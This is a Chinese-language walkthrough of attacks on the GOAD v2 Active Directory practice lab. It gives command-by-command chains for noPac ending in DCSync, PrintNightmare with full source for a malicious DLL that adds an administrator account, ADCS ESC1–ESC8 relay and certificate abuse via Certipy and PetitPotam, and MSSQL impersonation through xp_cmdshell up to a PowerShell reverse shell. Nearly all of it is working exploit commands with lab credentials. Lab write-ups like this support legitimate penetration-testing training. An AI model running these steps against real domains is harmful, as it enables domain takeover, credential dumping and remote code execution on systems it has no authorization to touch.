域渗透GOAD(Game Of Active Directory) v2 (二)
字数 1119 2025-08-25 22:58:29
域渗透GOAD(Game Of Active Directory) v2 技术文档
0x05 使用用户权限进行渗透
SamAccountName (nopac)漏洞利用
漏洞背景:
- CVE-2021-42287和CVE-2021-42278组合漏洞
- 允许通过伪造域控制器名称获取高权限票据
利用步骤:
-
检查机器账号配额:
cme ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ -
准备Impacket环境:
git clone https://github.com/SecureAuthCorp/impacket myimpacket cd myimpacket git fetch origin pull/1224/head:1224 git fetch origin pull/1202/head:1202 git merge 1202 git merge 1224 pip install . -
完整利用流程:
- 添加计算机账号:
python addcomputer.py -computer-name 'samaccountname$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing' - 清除SPN:
python addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local' - 重命名为DC名称:
python renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing - 获取TGT:
python getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'ComputerPassword' - 恢复原始名称:
python renameMachine.py -current-name 'winterfell' -new-name 'samaccount$' north.sevenkingdoms.local/jon.snow:iknownothing - 获取ST票据:
export KRB5CCNAME=winterfell.ccache python getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell' - 执行DCSync:
export KRB5CCNAME=administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache python secretsdump.py -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' @'winterfell.north.sevenkingdoms.local'
- 添加计算机账号:
PrintNightmare漏洞利用
利用条件:
- 目标系统Spooler服务运行
- 存在可写共享用于上传恶意DLL
利用步骤:
-
检查Spooler服务:
cme smb 192.168.56.10-23 -M spooler # 或 python rpcdump.py @192.168.56.10 | egrep 'MS-RPRN|MS-PAR' -
准备恶意DLL:
#include <windows.h> int RunCMD() { system("net users pnightmare Passw0rd123. /add"); system("net localgroup administrators pnightmare /add"); return 0; } BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: RunCMD(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }编译:
x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c -
设置SMB共享:
python smbserver.py -smb2support ATTACKERSHARE . -
执行攻击:
python CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll' -
绕过Defender的高级DLL:
// 使用NetUserAdd和NetLocalGroupAddMembers API替代system调用
0x06 ADCS攻击
ESC8攻击
利用条件:
- ADCS启用Web注册
- 存在有效的强制认证方法(PetitPotam等)
- 存在可利用的模板(默认DomainController模板)
利用步骤:
-
设置NTLM中继:
python ntlmrelayx.py -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController -
强制认证:
python petitpotam.py 192.168.56.1 meereen.essos.local -
获取TGT:
gettgtpkinit.py -pfx-base64 $(cat cert.b64) 'essos.local'/'meereen$' 'meereen.ccache' -
执行DCSync:
export KRB5CCNAME=meereen.ccache python secretsdump.py -k -no-pass ESSOS.LOCAL/'meereen$'@meereen.essos.local
使用Certipy自动化攻击
-
设置中继:
certipy relay -ca 192.168.56.23 -template DomainController -
强制认证并获取证书:
python petitpotam.py 192.168.56.1 meereen.essos.local -
认证并获取NT哈希:
certipy auth -pfx meereen.pfx -dc-ip 192.168.56.12
ADCS枚举
-
使用Certipy枚举:
certipy find -u khal.drogo@essos.local -p 'horse' -dc-ip 192.168.56.12 -
导入BloodHound分析:
# 使用修改版BloodHound支持Certipy输出
其他ADCS攻击技术
-
ESC1攻击:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC1 -ca ESSOS-CA -upn administrator@essos.local certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12 -
ESC2 & ESC3攻击:
certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template ESC2 -ca ESSOS-CA certipy req -u khal.drogo@essos.local -p 'horse' -target 192.168.56.23 -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx khal.drogo.pfx certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12 -
ESC4攻击(模板修改):
certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -save-old # 利用修改后的模板 certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template ESC4 -ca ESSOS-CA -upn administrator@essos.local # 恢复模板 certipy template -u khal.drogo@essos.local -p 'horse' -template ESC4 -configuration ESC4.json -
ESC6攻击:
certipy req -u khal.drogo@essos.local -p 'horse' -target braavos.essos.local -template User -ca ESSOS-CA -upn administrator@essos.local -
Certifried (CVE-2022-26923):
certipy account create -u khal.drogo@essos.local -p 'horse' -user 'certifriedpc' -pass 'certifriedpass' -dns 'meereen.essos.local' certipy req -u 'certifriedpc$'@essos.local -p 'certifriedpass' -target braavos.essos.local -ca ESSOS-CA -template Machine certipy auth -pfx meereen.pfx -username 'meereen$' -domain essos.local -dc-ip 192.168.56.12 -
Shadow Credentials:
certipy shadow auto -u khal.drogo@essos.local -p 'horse' -account 'viserys.targaryen'
0x07 MSSQL攻击
MSSQL枚举
-
使用GetUserSPNs枚举:
python GetUserSPNs.py north.sevenkingdoms.local/brandon.stark:iseedeadpeople -
使用CrackMapExec枚举:
cme mssql 192.168.56.22-23
权限提升技术
-
Impersonate攻击:
mssqlclient.py -windows-auth north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local # 枚举可模拟的登录 enum_impersonate # 模拟sa账户 exec_as_login sa enable_xp_cmdshell xp_cmdshell whoami -
数据库用户模拟:
use msdb exec_as_user dbo xp_cmdshell whoami
强制认证与中继
-
设置Responder:
sudo responder -I vboxnet0 -
触发强制认证:
exec master.sys.xp_dirtree '\\192.168.56.1\demontlm',1,1
可信链接攻击
-
枚举链接服务器:
enum_links -
通过链接服务器执行命令:
use_link BRAAVOS enable_xp_cmdshell xp_cmdshell whoami
命令执行到Shell
-
生成PowerShell反向Shell:
# 生成base64编码的PowerShell payload -
执行Shell:
xp_cmdshell "powershell -exec bypass -enc <base64_payload>"
总结
本文详细介绍了在Active Directory环境中的多种高级攻击技术,包括:
- 通过SamAccountName漏洞进行域权限提升
- PrintNightmare漏洞利用
- ADCS服务的多种攻击方式(ESC1-ESC8)
- MSSQL服务的攻击向量和权限提升技术
每种技术都提供了详细的利用步骤和命令示例,涵盖了从信息收集到最终权限提升的完整攻击链。这些技术在实际渗透测试中具有极高的实用价值,但应仅在授权测试环境中使用。